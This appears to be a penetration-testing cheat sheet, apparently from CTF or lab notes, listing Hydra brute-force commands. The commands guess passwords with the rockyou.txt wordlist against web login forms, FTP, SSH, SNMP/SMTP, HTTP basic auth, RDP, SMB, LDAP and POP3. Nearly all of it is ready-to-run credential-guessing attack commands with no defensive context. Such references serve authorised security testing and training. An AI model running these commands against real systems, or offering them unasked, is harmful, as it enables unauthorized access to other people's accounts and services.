# Hydra

### http-post-form

```bash
hydra -l name -P rockyou.txt $ip http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect" -V
```

### ftp

```bash
hydra -t 4 -l name -P rockyou.txt -vV $ip ftp # -t 4 are parallel connections per target
```

### ssh

```bash
hydra -l molly -P rockyou.txt $ip ssh -V
```

### snmp, smtp

```bash
hydra -P rockyou.txt -v $ip snmp/smtp
```

### popup box

```bash
hydra -l bob -P rockyou.txt $ip http-get /protected
```

{% hint style="info" %}
The trick here is to separately set the IP and PATH
{% endhint %}

### RDP

```bash
hydra -t 1 -V -f -l administrator -P rockyou.txt rdp://$ip
```

### SMB, LDAP, POP3

```bash
hydra -L users.txt -P rockyou.txt $ip smb/ldap2/pop3 -V -f
```



{% hint style="info" %}
Always have ZAP, Burp or Wfuzz as backup
{% endhint %}

